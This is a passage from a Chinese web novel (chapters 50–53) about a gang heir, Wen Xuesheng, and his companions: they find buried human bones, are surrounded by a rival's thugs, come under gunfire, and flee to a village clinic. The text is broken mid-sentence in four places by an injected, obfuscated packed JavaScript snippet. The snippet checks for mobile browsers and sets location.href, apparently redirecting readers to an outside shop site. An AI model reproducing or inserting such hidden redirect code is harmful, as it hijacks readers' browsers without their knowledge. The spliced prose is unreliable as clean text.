除此之外,还有一个男人…… 张笑远! 他就站在不远处,双手插在裤兜里,神情十分复杂。 这个发现像一盆冷水,瞬间浇灭了温雪生心里刚刚升起的激动。 然后,一股无名怒火直窜心头。他想起南希和张笑远在教学楼前谈笑风生的画面,想起自己被绑架后支撑到现在的执念。 那句“还想再见她一面”的执念背后,还藏着另一句“跟她算账,问清楚她是不是在玩弄自己,问清楚她和张笑远到底什么关系!”。 想到这里,他手上的力道不自觉地加重,捂着她的嘴,借势将她的脸推到一边,自己则剧烈地喘息起来。 南希被推得差点扑倒,双手撑膝起身,居高临下却满脸委屈:“小生生,你干嘛呀!为什么你每次害羞起来,力气都那么大!”她是真的不明白他为什么突然这样粗暴。 哪想这话让温雪生又羞又恼。他深吸一口气,然后一甩手,指向张笑远,厉声质问南希:“他为什么在这?!” 啊,什么? 南希瞪大了眼。 面前,温雪生皱着眉头,抿着唇,那是他标志性的生气表情。 南希不明白,为什么这个男人才刚醒过来就生气了? 他就那么爱生气吗? 她决定收回之前的想法,她还是不太想看到,他黑脸生气的模样的…… 她继续委屈地解释:“小生生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663281|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张笑远帮我一起来找你呀,这次你真得好好谢谢他,要不是他……” “我不会谢他。” 温雪生打断南希,记忆回到了三个月前。 新年元旦,他从光源大厦顶楼,直坠而下,快要落地时,就是这个叫张笑远的接住了自己。后来南希急匆匆赶到,跟他说了和今天类似的话:“你得好好谢谢恩人呀”。 恩人?谢? 为什么要谢他?为什么哪里都有他?怎么就那么碍事!? “我有让他多管闲事来救我吗?谢他?那我还不如直接死了。” 温雪生死死盯着张笑远,眼中满是怨恨,话里的每个字都像从牙缝里挤出来的。 张笑远虽然对男女感情的事不太敏感,但这并不代表他愚钝。他立刻读懂了温雪生眼中的敌意,也隐约猜到了原因。但他并不在意,对他而言,温雪生这种black社会老大的儿子根本不值得他费心。他出手相救全是为了南希,现在他只想尽快履行对南希的承诺,然后带大家去一个安全的地方。 他直接无视温雪生,冲其他人说道:“好了,咱们得赶紧走了。虽然那俩人被放倒了,但这个地方我总感觉怪怪的,有种阴森的感觉,我心里预感也不好,咱们还是快回市里吧。” “不行。” 没等其他人回话,温雪生立刻拒绝,眼神在刹那间变得锐利,“还不能走。” 在场几人都察觉到了他语气和神态的变化,那是一种不容置疑的严肃,他们都看向他,只见他把手探入身旁的泥里,然后沉声说:“你们刚才挖这些土的时候,就没觉得哪里不对劲儿吗?” 那只手一点点往泥土深处摸索,过了好一会儿,温雪生才艰难地把手收回。 然后,他摊开手掌,露出握在手里的东西。 那是一根沾满湿泥的,细小的棍状东西。 他强忍不适,颤抖着拂去上面的土。 月光洒在那东西上,显露出它土灰色的表面,以及特殊的弯曲形状。 四周突然安静得可怕。 南希双唇微张,孙红倒吸了一口冷气,孙紫下意识后退半步,差点踩到自己的裤腿,张笑远的脸色也转瞬变黑,眉头皱成了一团。 恐惧霎时像冰冷的潮水,一下子淹没了所有人—— ——那竟然是,人的骨头! ——一截明显属于人类的手指骨! 温雪生的目光扫过每个人的脸,最后定格在张笑远身上。 “现在,你还觉得我们应该马上离开吗?” 张笑远沉默片刻,蹲下身仔细查看那截指骨:“看骨头的颜色和质地,应该埋在这里有段时间了。”他抬头环顾四周,黑黢黢的天,幽凄的月亮,张牙舞爪的老榆树…… 后脑勺登时泛起一层层凉意,那种阴森的不祥感更强烈了,但他仍强迫自己保持冷静,“可能只是巧合......” “巧合?”温雪生冷笑一声,“那你再看看这个。”他又从土里挖出一块更大的骨头,形状明显是腕骨。 南希怕鬼,再也忍不住,哭嚷起来:“这,这里到底是什么地方啊?!” 51. 第 51 章 夜色浓得化不开,空气里弥漫着土腥味和某种难以言喻的腐烂气。 温雪生看了南希一眼,视线很快移开,落在自己沾满湿泥的手上,喉结滚动了一下。 “别慌,听我慢慢说。” 南希死死盯着他的手:“好好好,我也不想慌啊!小生生,那你先把你手里的东西扔了,好吧?” 温雪生没出声,却弯下腰,将那块人类腕骨重新埋进旁边松软的土里,然后闷闷地开口:“刚才那俩人在挖坑时,我其实有意识,只是在装晕。我偷听到了他们说的话,信息量很大,也很惊人,如果我没听错,他们已经不是第一次在这里埋人。”他指了指周围,“这里土坑还没填实,我很容易就能在土里摸东西……”他顿了下,像是在组织语言,或者说,在压抑某种翻涌的情绪,“所以,刚才我被埋进坑里时,特意感受了下这些土,我发现里面,有些零散的,硬硬的东西……” 话到这里,戛然而止。 一片死寂,周围像是能听到鬼的叹气声。 温雪生没再解释,但在场的没一个傻子,全都懂了。 张笑远的脸唰地褪了色,跟涂了层白漆似的,那种从踏入这里就盘旋在心头的不祥预感,这会儿像是冰水浇头,变得无比清晰。 如果这地方真的是他们用来埋人、销毁杀人证据的地方,那么他们又怎么会让别人轻易发现?这里绝对—— 南希倒抽了一口凉气,脱口而出:“这里绝对不会只有两个打手那么简——” 然而,她话里最后一个“单”字还卡在喉咙里,黑暗中就传来了奇怪的声音。 不是风声,是细细簌簌,越来越多,越来越近的脚步声! 从很远的村子深处,从四周的阴影里,像潮水般围拢过来! 密集,且迅速! 他们根本没有任何反应或逃跑的时间!更何况,他们之中还有温雪生这样一个,刚从鬼门关爬回来的“拖油瓶”! 意识到这点后,南希借着那可怜的月光,捕捉到了这些脚步声的主人。 一个,两个,十个……十几个,不,至少有二十几个穿着黑衣服的流氓,渐渐显现了出来! 那些流氓手里拿着棍棒,或是空着手,但那种无形的压迫感,几乎让人喘不动气。 在这堆流氓里,一个长得跟猴子一样的男的,手里拎着一根半米长的铁棍,一晃一晃地穿越人群,走到了最前面。 他把脖子一扬,咧开嘴,露出一个古怪的笑容,和满口被烟熏染的大黄牙。 南希看清了他的脸,心脏猛地一沉,像被一只冰冷的大手给攥住了。 这张脸她认得,当时在温沙城堡,就是他,伪装成温雪生躺在卧室的床上,趁她不备洒出了迷药…… 可是,怎么会是他? 怎么不是郑司令?! 南希下意识看向温雪生。 他的表情十分凝重,比南希更差,只见他牙关紧得很咬,手扶着身边的老榆树,试图凭借自己的力量起身站稳,但他的腿脚显然还不听使唤,刚站起来,身体就轻轻晃了一下。 南希立刻伸出手,扶住了他的胳膊。 手掌的温热,透过单薄的衣料传给对方一丝力量。 两人极快地对视了一眼,没有任何言语,却都从彼此眼中读到了确认——他们都认识这个人,也都明白,今晚,恐怕是走不了了。 对方人数太多,而且明显是有备而来,占据了绝对的主动。不管是破晓还是红发女鬼,平日行动,都讲究隐蔽和先手,如今先机尽失,敌众我寡,强行突围的可能性微乎其微,剩下的,只有随机应变。 这时候,那个猴子男又上前了一步,用一种油滑随意的语气开了口:“雪生,是你吗?哥哥我查到你被郑司令的人绑架了,可急死我们了!咱爸让我赶紧来救你!你呀,快到哥哥这儿来!” 这句话油腻得令人作呕,在场的人没有一个相信,恐怕连他自己都觉得这借口蹩脚得可笑,说出来只是为了给他们的突然出现,勉强找一个能摆在台面上的理由罢了。 温雪生没有回应,只是冷眼望着他。 眼前这恶心的猴子男,是温四认的干儿子,也是干儿子里最得宠的那个,温重名。 他是个狠角色,从小跟在温四身边,打架斗殴,冲杀在前,可以说是用身上一道道伤疤换来了温四的信任。温重明成人那天,温四为了奖励他,把自己起家的根本——那些日进斗金的夜总会产业,比如碧海阁,都交给了他打理。尽管温四近几年忙着洗白,转向正行,但夜总会仍然算是他的半壁江山。能把这么重要的产业交给温重明,他对这个干儿子的信任度可见一斑。 至于温重明本人,对外是活阎王,凶狠残暴,手段酷烈,但在温家内部,尤其是在温四面前,那就是条低眉顺目、摇尾乞怜的哈巴狗,当然在温雪生这个名义上的“弟弟”面前,也向来是卑躬屈膝,客气到甚至带着谄媚。 这是温雪生对温重明的全部印象,可眼前的温重明已大改模样,他腰杆挺得笔直,下巴抬得很高,眼神里充满了毫不掩饰的嚣张,和一种似乎已掌控一切的得意。 其实温雪生在废厂房醒来,瞧见那看守他的小流氓时,就隐约猜到是温四手底下的人在搞鬼,他脑子里闪过几个可能的人选,却唯独,没有想过会是这个一直表现得忠心耿耿、谨小慎微的温重明。 “哈?你来救他?” 忽然,边上的南希打断了他的思绪。 只见她挺着胸脯,朝不远处的温重明吆喝起来:“我看你是贼喊捉贼!黄鼠狼给鸡拜年!温猴子,你少在这儿乱放屁!猫哭耗子假慈悲这套早过时了!我告诉你,今天你别想再动我小生生一根汗毛,除非你从老娘尸体上踏过去,否则我绝对不会让你这癞蛤蟆想吃天鹅肉的王八蛋得逞!你等着,我迟早把你那点龌龊心思全都给你抖落出来!” 这一番辱骂几乎没带喘气,温雪生知道南希泼辣,但不知道她这么泼辣,竟一时忘了紧张,目瞪口呆地愣在了原地。 而南希则一边骂,一边悄悄把手背到身后,对着张笑远的方向比划——找机会,带温雪生上车,撞出去!不用管我,我是红发女鬼,这些人还没有能捉到我的本事! 她的手势又快又急。张笑远眼皮跳了跳,好一会儿才理解了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678030|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意思,然后身子微微弓起,计算着逃跑的距离和可能。 可没想到,温重明对她这机关枪似的挑衅完全无动于衷,甚至连嘴角那丝令人讨厌的笑意都没变。他只是懒洋洋地一挥手,跟赶苍蝇似的,然后,他身边那二十几个手拿棍棒的小流氓立刻动了起来,在一阵噼里啪啦的脚步声中,形成了一个紧密的包围圈。 棍棒反射着月光,冷飕飕的,小流氓们把南希几人死死困在了包围圈中心! 温重明瞧了瞧,这才又拿腔拿调地开口,声音拔高了几分:“雪生弟弟啊!你看看你,都被这些坏人折磨成什么样子了!哥哥我这心跟刀绞似的,咱爸要是知道了,不得更心疼死!既然他们不肯放人,那就别怪哥哥我,动用些非常点手段,‘请’你回家接受治疗了!” 他特意加重了“请”字,眼神里满是猫捉老鼠般的戏谑。 话音落下,周围的小流氓们握紧了手中的棍棒,缩小着包围圈,空气瞬间绷紧得像拉到极致的弓弦,战斗一触即发。 南希几人背靠背,能活动的空间越来越小,就在这千钧一发之际—— 嗡嗡—— 引擎的咆哮跟炸雷似的由远及近,好几道雪亮的车灯,一齐劈开了老榆树下的黑暗。 紧接着,是杂乱却迅猛的脚步声。 另一波人,同样穿着黑色衣服,跟打地里长出来的一样,从杂草堆里,从车灯的边缘冲了出来! 人数不少,动作快得带风! 跑在最前头的那人,速度堪比逃命,黑色西装外套被他跑得敞了怀,衣角被风扯得向后狂舞,像张开了两只黑色的翅膀。 他一边狂奔,一边眼珠子四处扫射,没一会儿便锁定了那扶着榆树、脸色苍白的温雪生,然后发出一声撕心裂肺的狂吼: “少爷!!!我cao他妈的祖宗啊!!!” 这一声呼喊,效果拔群。 所有人的目光,顿时齐刷刷地看了过去。 温重明脸上那志在必得的笑容瞬间冻结,随即像风化的墙皮一样剥落。 他周围那群小流氓们,也被这突如其来的变故弄懵了,阵型变得散乱,窃窃私语声像苍蝇般响起,刚刚那股一往无前的气势,顷刻间泄了大半。 而包围圈中心,南希和温雪生的眼里,几乎同时蹦出了一簇光。 他们的视线里,那插着黑翅膀的男人越来越近,他身材不算高大,甚至有些瘦,但他周身散发出的那股煞气,硬邦邦的,愣是在这铜墙铁壁的包围中撞出了一道口子。尤其显眼的,是那人脸上的刀疤——从额角斜劈下来,几乎贯穿了他的整张脸。 疤痕狰狞凸起,在晃动的车灯下,像条活蜈蚣在脸上爬,使他整个人看起来,如同刚从地狱爬出来的鬼魅! 他径直冲进包围圈,飞快地扫了温雪生一眼,确认他没出啥大事,脸上紧绷的肌肉地松弛了一瞬,随即,他猛然转身,像是一堵坚硬的墙,稳稳地挡在了温雪生身面。 而那张吓人的刀疤脸上,目光尖锐,像两把锋利的飞刀,越过小流氓,直直射向了,脸色铁青的温重明。 老榆树下的风向,瞬间逆转! 52. 第 52 章 刀疤脸李大发,虽然早已洗手上岸,成了温沙城堡的管事,专职伺候病弱少爷温雪生,但江湖上还流传着他的名号。传闻里,他是温四早年开疆拓土时最锋利的那把刀,当年温四“单枪匹马”闯济东,是李大发一根铁棍横扫了十几条街的对手,这才让温四爷的名号在black道上立了起来。 此时此刻,这传说中的人物就立在眼前,空气都沉了几分。刚才还蠢蠢欲动的小流氓们,你看看我,我看看你,脚底像生了根,没有一个敢再往前蹭半步。而跟着李大发冲过来的那批黑衣汉子,人数虽不占优势,但气场强硬,这会儿竟在外围又套了一个圈。 也就是说,以那棵老榆树为中心,现场诡异地形成了三个圈:最里面的是南希温雪生几人,中间是温重明那二十几个手拿棍棒的流氓,最外面,是李大发带来的人。 而这些圈竟出奇得稳,谁都没有继续破圈。 “你个畜生!”李大发那破锣嗓子率先打破这诡异的氛围,刀疤随之扭动,“温重明!老子当年砍人的时候你他妈还穿开裆裤呢!老大把你从臭水沟里捞出来,给你饭吃,教你本事,让你管着碧海阁,你他妈就这么报答?绑了他儿子?你他妈良心让狗吃了?!你想干什么?造反吗?!要背叛老大?!” 温重明掏了掏耳朵,做了个弹耳屎的动作,脸上挂着假笑:“呦,发哥,不对,李管事,你说什么呢?我怎么一句都听不懂?我就是来接我弟弟回卢氏继续治病的。你看看他,这脸色,这身子,连站都站不稳了,他被坏人掳到这荒郊野岭,多危险啊。”他上下打量着李大发,讥讽道,“倒是您,李管事,老了就是老了,病了就是病了,听说您之前挨的那刀,下雨天还疼得直抽抽吧?您不好好在温沙城堡里养老,跑这儿来吹什么风?别到时候脸上再多几道疤,吓得你媳妇不敢跟你上床!” 李大发啐了一口唾沫:“老子是伤了,是隐退了!但收拾你这忘恩负义的狗杂种,还绰绰有余!” 他侧过头,视线瞥向温雪生,语速飞快:“少爷,这几天我都没困觉,光找你了,虽然来晚了,但我也算把你找到了,所以,这次你可得听我的!出去后,你要赶紧去医院,千万别耽误!”说完他又立刻转向南希和她身后的张笑远几人,“张小姐,这儿有我!你们麻利地带着少爷走,去卢氏!少爷这身体经不起再折腾了!” 然而,几乎在李大发话音落下的同时,温重明从后腰裤兜里掏出了一把黑色的东西。 那东西被他紧紧攥在手里,金属表面趁着月光发出幽冷的光。 那竟是一把手枪! 温重脸上的假笑登时收敛,他迅速抬起手,黑洞洞的枪口直接对准了李大发! 嘭! 下一秒,一声巨响撕裂了夜空,像是平地惊雷。 子弹嗖地穿过人群的缝隙,擦着李大发的右脸飞过,狠狠砸在了他身后那棵老榆树的树干上! 木屑纷飞! 刹那间,李大发脸上多了一道新鲜的血痕,血珠慢慢渗出,沿着他脸上的刀疤轨迹蜿蜒滑落。 所有人都呆住了,包括那些小流氓。 还没等任何人从这声枪响中回过神。 嘭! 第二声巨响接踵而至! 李大发只觉得左边大腿一紧,像是被烧红的铁条狠狠烙了一下,钻心的疼痛骤然炸开。 他闷哼一声,左腿支撑不住,单膝重重跪倒在地,鲜血迅速浸透了他的西裤。 看到眼前的画面,温重明脸上浮现出一种阴森癫狂的笑容,他举着枪,枪口还冒着缕缕白烟:“李管事,你不是要来收拾我吗?来呀?怎么还给哥哥我跪下了?”他说着,手腕一动,似乎又要调整枪口瞄准。 李大发赶紧回头朝南希他们喊:“cao他妈的,你们还愣着干啥,等着被打成蜂窝啊?!快带少爷走啊!!!” 没有人预料到温重明手里会有枪,毕竟这玩意儿在市面上根本见不到,哪怕是在地下世界,也是极稀罕、极凶险的物件。 black社会打架,顶天了用砍刀铁棍,那是血肉之争,一旦枪这种高级货介入,刀棍就成了小孩的玩具。 温重明手里握着的这黑家伙,瞬间就让他登上了食物链的顶端,打破了所有规则和平衡。 刚才还被李大发震慑住的小流氓们,让这两枪彻底打醒了,也打疯了。 眼前那传说中刀枪不入的厉害角色,不也跪下了?不也流血了?看来他也没那么神! 不知谁先嚎了一嗓子,中间圈子的二十几个小流氓像是被注入了兴奋剂,挥舞着棍棒,嗷嗷叫着一拥而上! 而外围,李大发带来的那些汉子见状,也红了眼,毫不犹豫地迎了上去! 场面瞬间爆炸,彻底陷入混乱。 棍棒砸在□□上的闷响声,流氓的怒吼声,惨叫声,脚步声,骂娘声……噼里啪啦地交织在了一起。 月色下,人影晃动,如同群魔乱舞。 李大发额头上青筋暴起,冷汗直流,他强忍着腿上和脸上的剧痛,猛地从地上蹿起,一个侧身躲开砸来的棍子,左手迅速抓住对方手腕往下一拗,同时右肘狠狠撞向对方的喉结,那小流氓哼都没哼就软了下去。 他随即夺过棍子,反手击向另一个流氓的太阳穴,然后转身甩棍横扫,又逼退两个想偷袭的人。他就像一头凶悍的豹子,朝着前方猛冲猛打,硬是用身体和一根短棍杀出了一个狭窄的缺口! “走!!!”他回头,再次朝身后几人大吼。 孙红孙紫两人眼神一凛,二话不说就冲进了那个随时可能合拢的缺口,死死顶住了两侧涌来的压力。 与此同时,温重明在外围举着枪左右乱晃,似乎在寻找目标,但混乱的人群阻挡了他的视线。 嘭!嘭! 他又开了两枪,子弹却偏离了方向,打中了外围两个正在缠斗的小流氓。 惨叫声格外刺耳。 温雪生被南希架着,看着眼前腥风血雨,迟迟不肯动身,他咬牙喊道:“李管事,一起走!” 李大发闻声回头,脸上的血和汗混在一起,眼神像烧红的刀子:“都他妈什么时候了!少爷你放心,他们的目标不是我,我死不了!温重明就算拿着枪,在老子眼里也就是个玩木棍的猴儿!” 话音未落,他根本不给温雪生再反驳的机会,反手一抄,像是拎小鸡一样,把虚弱不堪的少爷直接提起来,粗暴地撂到了张笑远的背上。 “拜托了!” 张笑远感觉后背一沉,知道这不是犹豫的时候,咬紧牙关,背着温雪生,就朝孙红孙紫用身体撑住的缺口,猛冲过去! 南希在混乱中深深看了李大发一眼,那眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687214|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神复杂,有担忧,有决绝……最后只凝聚成一句简单却又力量的话:“我一定会带他冲出去!” 说完,她不再回头,身形灵活地一闪,避开挥来的棍棒,顺手捡起地上一根掉落的钢管,也加入了缺口处的混战。 * 夜色如墨,浓重地涂抹在乡间的土路上。 一个幽暗的车头灯在颠簸中一闪一闪,“突突突”的三蹦子引擎声撕裂着晚上的宁静。 欢丫头蜷在车斗里,手指紧紧抠着围栏,她焦急地望着前方无边的黑暗,催促道:“李伯,油焖踩到底啊,快一点,再快一点行不行!” 李伯趴在车把上,嗓子冒烟:“不能再快了!这路颠死个人,再快轮子都要跑飞喽!” 话音刚落,那“突突突”的声音像是被人掐住了脖子,开始断断续续,越来越缓,三蹦子不甘地抽搐了两下,彻底熄了火。 李伯一拍车把,懊恼地叹气:“诶呀,完犊子了,没油了!” 欢丫头抿紧了嘴,二话没说,蹭得跳下车,落地时脚踝崴了一下也顾不上,直接扎进黑暗里往前跑。 “欢丫头!回来!”李伯忙扯着嗓子吆喝,“别去了,那地方还远着呢,你跑不到的!” 欢丫没回头,而是高高地向后摆了摆手:“我不嫌远!谢谢你李伯,你快回去吧,别连累你!” 她单薄的身影已经融入了夜色,只剩下奔跑的脚步声,越来越远。 李伯张了张嘴,最终什么也没说出来,只是重重地叹了口气。 欢丫头拼命地跑着。 土路崎岖,深一脚浅一脚,冰风刮在脸上,像小刀一样。 她从小跟着爷爷学中医,懂得调理,自认体力比同龄的姑娘家都要好上很多,可这条路实在太长了,好像没有尽头,吞噬了所有的光,也吞噬了她心里的希望。 汗水很快浸湿了她的后背,额前的头发黏在皮肤上,又湿又凉,她感觉自己快要跑不动了…… 就在她累得几乎要瘫软下去的时候,旁边的岔路上突然杀出一辆方块状的越野车。 大灯晃得她眼前一白,她下意识抬手遮挡,脚下踩空,差点一头栽进路旁的臭水沟里。 吱—— 刺耳的刹车声紧急而来,那辆越野在停在了她身前不到一米的地方。 尘土飞扬,弥漫在车灯的光柱里。 驾驶座的车窗被快速摇下,一个顶着满头红发的女人探出头,满脸关切:“喂!没事吧?没撞着你吧?” 欢丫头惊魂未定,心脏还在狂跳,她看着那个红发女人,愣愣地点了点头。 那红发女人得到答案,明显松了口气,脸上的关切立刻被一种赶时间的焦急取代,说了句“没事就好”,立刻就要摇上车窗准备离开。 就在车窗合上前的刹那,欢丫头的目光无意中扫过了车的后座。 后座车窗也是开着的,借着外面投射进去的光线,她隐约看到那儿靠着一个男人。 遮脸的刘海垂落,她看不清全貌,但那侧脸线条和异常惨白的肤色,她认得…… 欢丫头的瞳孔猛然缩紧,她又连忙摇了摇头:“不……” 那红发女人正好瞥见了她这前后矛盾的动作,脸上的耐心瞬间耗尽,又猛地把车窗摇下大半:“你啥意思?到底有没有事?!我们赶时间!” 53. 第 53 章 欢丫头看出对方生气了,左手在裤腿边死死攥紧,攥得那布料皱成了一团,右手指向车子后座,声音又急又快:“我认识他,他是有钱人家的少爷,他叫温雪生!他病得很重,中毒很深,不能再这样下去了!你们快去我那,我有药可以救他!” 这句话几乎是一口气喊出来的。 后座上,温雪生被这声音惊动,睫毛颤动了几下,勉强撑开了沉重的眼皮。 他透过车窗,看到了站在臭水沟边上的欢丫头——那个土屋诊所里,给他扎针治病,眼神清亮得不像话的小姑娘。 南希从驾驶座上回过头,目光落在温雪生脸上。她没有说话,只是看着他。 温雪生朝她点了点头,这动作就耗费了他不少力气。 南希明白了他的意思,于是又扭过头,朝着车下喊:“那个,你先上车再说!” 欢丫头应了一声,几乎是扑过来,一把拉开车门塞上了车。 切诺基的后座还算宽敞,但原本就坐了孙红、孙紫和温雪生三人,空间已经不够,欢丫头瘦小的身体硬挤进来后,紧挨着温雪生滚烫的手臂,她立即像碰到烙铁一样缩了缩,努力把自己折叠得更小。 还没坐稳,车子就焦急地窜了出去,她被惯性甩得差点扑到前面的座椅背上,好不容易才伸手扶住,稳住了身子,然后探着脖子,对驾驶座上的人说:“那个,我的诊所在北边的李家村,我给你指……” “先等一下。” 欢丫头话没说完,副驾坐上的张笑远打断了她。 他转过身,大半张脸藏在阴影里,只有那双眼睛,亮得让人胆颤:“说说看,你为什么会大半夜出现在这里?”这地方前不着村后不着店,旁边就是臭水沟和荒草地,一个年轻姑娘突然冒出来,实在太奇怪。 欢丫头知道自己出现在这里确实蹊跷,也不怪对方语气不好,不信任自己,赶紧解释:“他……”她侧头指了指身边的人,“他今晚在我那看过病。”她喘了口气,把温雪生如何出现在她的诊所,凯伯和大壮如何追来,以及他又如何破门逃走……全都讲了出来。 她一边讲一边抖,那场面,她现在想起来还有点后怕。 “还有,”她继续说,“他逃走前,给我留下了一个电话号码。我拨了那个号码,打到了一个叫温沙城堡的地方。” 张笑远挑眉:“那种情况下,你还能把电话号码记住?” 欢丫头抿抿嘴:“事情是这样,那个号码,我虽然只记了个大概,但是我试了很多次,最后终于拨对了!对方一听到他的名字,就很着急,向我问了地点位置,然后就挂断了电话。没想到,可能也就过了二十多分钟,那个接电话的人就出现在我面前了。” 张笑远的目光闪烁了一下,看向后座。 温雪生闭着眼,极轻微地点着头。 他心里有了数,看来,温沙城堡的李管事能精准定位,及时赶到,还多亏了这个小姑娘报信,当然,也幸亏温雪生临危不乱,在绝境中还能留下线索。这大概算是不幸中的万幸。 “后来呢?”他追问道。 “后来……他们跟我问清楚了情况,然后找到了李伯,又从李伯那打听出了凯伯和大壮可能藏人的地方。再后来,他们就领着一批人,开车去找他了。”说到这里,欢丫头声音低了些,语气中带着点自责,“可是我放心不下,毕竟人是从我这走的,所以就求李伯也带我去找他……没想到,李伯的车子开到一半就没油了……唉,这老古董……”她小声嘟囔了一句,“我就只好自己顺着这条路往前跑,直到刚才碰到你们……” 听到这里,温雪生看向身旁因为着急而脸颊泛红的女孩,哑声挤出两个字:“谢谢。” 他的声音轻飘飘的,却像颗小石子,在女孩心里砸出了一圈涟漪。 欢丫头的脸“唰”地红了,忙不迭地摇头,双手乱摆:“不用谢,不用谢,我,我其实也没做什么……”她声低下头,“我就是……觉得,你讲的那个故事,太可怜了,我听着……心里堵得慌。我虽然不知道现在具体发生了什么,但是……但是也不想再让那个故事里的主角再受到伤害了,所以,我想尽可能地帮帮他……” 这句真情实意的话还没完全落地,切诺基突然猛地一顿,像是开车的人走神给了脚重的,随即,引擎发出更沉闷的低吼,整个车身极速加快,颠簸得更加肆无忌惮。 而驾驶人南希,面无表情地望着眼前的黑暗,幽幽地问道:“哦?他都给你讲什么了?” 欢丫头身体一滞,立刻意识到这是在问她。 她怯怯地抬眼看了看那开车女人的冷峻侧影,然后又飞快地瞟了一眼温雪生,小声回:“就……讲了些他过去的事,就是……”她突然意识到什么,声音戛然而止,又怯怯地,带着询问的意思看向身边,“那个,可以说吗?” 温雪生的脸色依旧不好,但那已经不是单纯的病态,而是添了几分沉郁和……紧张。 他没有回应欢丫头的问题,甚至连眼神都没给她一个,重新闭上了眼睛。 欢丫头埋下头,双手揪起衣角,觉得自己肯定是说错了话,触到了不该碰的东西。 约莫过了七八分钟,切诺基在欢丫头小心翼翼的导航下,拐进一条狭窄的小道,然后悄无声息地滑入李家村,藏在一堆柴垛和几棵歪脖子树后。 然后,几人迅速下了车。 欢丫头在前面带路,脚步飞快地穿过四五条只有几声狗吠的村巷,推开一扇低矮的木门,回到了那间简陋的土屋诊所。 她一进屋就进入了状态,直奔药柜,从最高层的抽屉里,摸出个粗糙的陶瓷小瓶,倒出一粒褐色的药丸,然后走到被搀扶着坐在床边的温雪生面前,将药丸递到他嘴边:“啊——张嘴,这是我爷爷留下的神药,能缓解毒性。” 温雪生没有犹豫,听话地吞下药丸。 欢丫头立刻去桌上倒了半碗温水,小心地喂他喝水冲下,动作很轻柔,带着一种与她年纪不符的沉稳和专注。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689561|181645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做完这些后,她轻轻吐出口气,像是终于放下心来,然后扶着温雪生的手臂,想让他躺到铁床上休息。 整个过程,南希就杵在靠门的位置。她侧着身,手指无意识地拨弄一面挂在墙上的锦旗,似乎对屋内的一切漠不关心。 只是,她的视线,好像一直斜着,像被无形的线牵引,若有若无地落在了铁床那边。 这会儿,温雪生刚顺着欢丫头的力道要向后躺倒,靠上一床叠好的被子。 南希像是抓住了什么关键点,突然一皱眉,转过身,厉声喊道:“喂喂喂,咱们逃命呢!能不能有点紧迫感?哪有时间让你在这儿躺平享受!”她的目光锐利地刮过温雪生,又扫向张笑远,“李管事他们能挡多久?追兵说不定已经闻着味儿过来了!我们必须立刻、马上赶回市里!” 温雪生听到这话,眼皮不自在地抬起一条缝,瞥了她一眼,随即又偏过头,看向角落里散发着苦味的草药包:“不行……” 南希:“什么?你再说一遍?!” 温雪生:“……现在回去,等于自投罗网。” “没错。”旁边的张笑远开口附和,像是跟他提前对好了台词,“现在回去,的确不安全。” 南希不由眯起眼,脸色很是难看。 自从在车上,听那个半路杀出的“欢大夫”滔滔不绝地说了一堆后,她心里就憋着一股邪火,烧得她五脏六腑都疼,根本没办法冷静。现在,她又瞧见温雪生和张笑远一唱一和,那股火气直接窜上了天灵盖,怎么都压不住了。 “你们什么意思?不回去?难道要留在这鬼地方,等着人家上门来连锅端,顺便再给我们颁个‘最佳配合奖’吗?!” 温雪生收回望向草药包的目光,落在南希因怒气而格外生动的脸上。 昏暗的灯光在他脸上投下深深的阴影。 他沉吟了一会儿,说道:“我不是这个意思……而是,我认为如果现在回去,才是真正往枪口上撞。虽然欢大夫的突然出现,打乱了咱们原本的计划,但我觉得,她出现的时机,挑得挺妙,正好让我有时间可以把今天的事好好捋一捋。” 南希:“呵,那你捋到什么了?” 温雪生不做正面回答:“我想问问你,如果按原计划回济东,你准备把我送去哪儿?卢氏?还是其他公立医院?现在,温重明的势力估计已经蠢蠢欲动,济东任何角落,都可能有他的耳目,所以,无论去哪儿,都不会安全。 